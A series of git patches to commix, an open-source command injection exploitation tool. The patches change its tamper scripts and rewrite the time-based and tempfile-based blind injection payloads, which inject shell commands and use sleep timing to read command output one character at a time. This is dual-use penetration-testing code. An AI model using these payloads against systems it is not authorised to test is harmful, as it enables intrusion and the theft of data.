+188,4 @@ def invalid_data(request): sub_content = "POST data: " + menu.options.data settings.print_data_to_stdout(settings.print_sub_content(sub_content)) -# eof \ No newline at end of file +# eof From ceca8cd17cb5f167d1cce8ecccbe8fc75b08faf7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 17 Jan 2025 08:02:55 +0200 Subject: [PATCH 0527/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/79909148b3aa7e45d0d2f09e08d4c2d7638cd832 --- src/core/tamper/rev.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 55993592e2..b667a40e0d 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -32,7 +32,7 @@ def tamper(payload): if settings.EXPLOITATION_PHASE: if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: if settings.USE_BACKTICKS: - rev_cmd = "`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev`" + rev_cmd = "\\`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev\\`" else: rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) diff --git a/src/utils/settings.py b/src/utils/settings.py index 7c1d8027f9..15daa009a2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 64ea80b98cd55bca2040e329ae464c018a46e0e4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 Jan 2025 07:51:44 +0200 Subject: [PATCH 0528/1023] Fixes https://github.com/commixproject/commix/issues/993 --- .../injections/blind/techniques/time_based/tb_handler.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 46c6429d8d..048740281d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -38,6 +38,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = True + tmp_path = "" if url_time_response >= settings.SLOW_TARGET_RESPONSE: warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " @@ -51,18 +52,17 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": - if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: + if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: return False elif proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler - fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) elif proceed_option.lower() == "q": raise SystemExit() else: common.invalid_option(proceed_option) pass else: - tmp_path = "" if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: settings.TIME_RELATIVE_ATTACK = False return False diff --git a/src/utils/settings.py b/src/utils/settings.py index 15daa009a2..44321a7fc3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d708896f711127eb4b95a5d848843320bf6cd784 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 23 Jan 2025 08:33:58 +0200 Subject: [PATCH 0529/1023] Minor update regarding tamper script "nested.py" --- src/core/tamper/nested.py | 40 ++++++++++++++------------------------- src/utils/settings.py | 2 +- 2 files changed, 15 insertions(+), 27 deletions(-) diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index c594a4b0b9..c925fd5a59 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -25,34 +25,22 @@ __tamper__ = "nested" +def nested(): + if menu.options.prefix: + menu.options.prefix = "\"" + menu.options.prefix + else: + menu.options.prefix = "\"" + if menu.options.suffix: + menu.options.suffix = menu.options.suffix + "\"" + else: + menu.options.suffix = "\"" + if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.TARGET_OS != settings.OS.WINDOWS: + settings.TAMPER_SCRIPTS[__tamper__] = True + nested() -double_quote = "\"" def tamper(payload): - def nested(payload): - if settings.TARGET_OS != settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True - if not menu.options.prefix and not menu.options.suffix: - payload = double_quote + payload + double_quote - else: - if menu.options.prefix and menu.options.prefix != double_quote: - menu.options.prefix = menu.options.prefix + double_quote - else: - menu.options.prefix = double_quote - - if menu.options.suffix and menu.options.suffix != double_quote: - menu.options.suffix = menu.options.suffix + double_quote - else: - menu.options.suffix = double_quote - return payload - - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return nested(payload) - else: - return payload + return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 44321a7fc3..2b37cde394 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f2a0ddf56d610d80f66266599d07c5c1523982e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Jan 2025 09:06:33 +0200 Subject: [PATCH 0530/1023] Minor update regarding time-related techniques (i.e. "time-based", "tempfile-based") payloads. --- .../techniques/time_based/tb_payloads.py | 66 ++++++++++--------- .../techniques/tempfile_based/tfb_payloads.py | 66 +++++++++---------- src/core/tamper/backticks.py | 1 + src/utils/settings.py | 2 +- 4 files changed, 69 insertions(+), 66 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 37a49cc14c..4a072996dd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -48,10 +48,11 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "str1=${#str}" + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq $str1 ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -63,7 +64,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "sleep 0 " + separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) @@ -110,9 +112,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me payload = (separator + # Find the length of the output, using readline(). "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq ${str1} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -183,11 +185,11 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if separator == ";" or separator == "%0a": payload = (separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str}" + separator + - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + + "if [ " + str(output_length) + " -eq $str1 ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -198,8 +200,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "sleep 0" + separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length $str)" + separator + - #"str1=${%23str} " + separator + + "str1=${#str}" + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length $str)" + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) @@ -246,10 +248,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (separator + # Find the length of the output, using readline(). "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi " + "if [ " + str(output_length) + " -eq ${str1} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) elif separator == _urllib.parse.quote("&&") : @@ -321,10 +323,10 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Transform from Ascii to Decimal. "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " + "if [ " + str(ascii_char) + " -eq $str ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + + "fi" ) elif separator == _urllib.parse.quote("&&") : @@ -386,9 +388,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http if separator == ";" or separator == "%0a": payload = (separator + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -453,9 +455,9 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me if separator == ";" or separator == "%0a": payload = (separator + "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(ascii_char) + " -eq $str ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -510,9 +512,9 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt if separator == ";" or separator == "%0a": payload = (separator + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index f8101c6335..b3f8132439 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -54,11 +54,11 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + + "if [ " + str(j) + " -eq ${str1} ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -69,8 +69,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "sleep 0" + separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str} " + separator + + #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str} " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + "sleep " + str(timesec) ) @@ -122,9 +122,9 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${str1} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -212,13 +212,13 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo $str > " + OUTPUT_TEXTFILE + separator + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0 " + separator + - "else sleep " + str(timesec) + separator + + #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + + "if [ " + str(j) + " -eq ${str1} ]" + separator + + # "then sleep 0 " + separator + + "then sleep " + str(timesec) + separator + # Transform to ASCII - "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " +OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $str1 > " + OUTPUT_TEXTFILE + separator + "fi" ) @@ -232,8 +232,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str}" + separator + + #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + "[ " + str(j) + " -eq ${str1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII @@ -294,9 +294,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -ne ${str1} ] " + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${str1} ] " + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -364,9 +364,9 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (separator + # Use space as delimiter "str=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -427,9 +427,9 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t if separator == ";" or separator == "%0a" : payload = (separator + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -492,9 +492,9 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth if separator == ";" or separator == "%0a" : payload = (separator + "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(ord(str(ascii_char))) + " -eq ${str} ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -549,9 +549,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, if separator == ";" or separator == "%0a" : payload = (separator + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index ae21a90b08..6ce3af9bd2 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -32,6 +32,7 @@ def tamper(payload): if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: settings.USE_BACKTICKS = True settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" + payload = payload.replace("${#str}", settings.CMD_SUB_PREFIX + "expr" + settings.WHITESPACES[0] + "length" + settings.WHITESPACES[0] + "\"$str\"" + settings.CMD_SUB_SUFFIX) return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 2b37cde394..2be487ca76 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4117adea6d76279906857abeab4274d08637dbb6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 31 Jan 2025 07:59:32 +0200 Subject: [PATCH 0531/1023] Trivial update --- .../injections/blind/techniques/time_based/tb_payloads.py | 2 ++ .../results_based/techniques/eval_based/eb_payloads.py | 1 + .../semiblind/techniques/file_based/fb_payloads.py | 6 +++--- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +- src/utils/settings.py | 2 +- 5 files changed, 8 insertions(+), 5 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 4a072996dd..c8254d5fa7 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -244,6 +244,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). @@ -385,6 +386,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + "str=" + settings.CMD_SUB_PREFIX 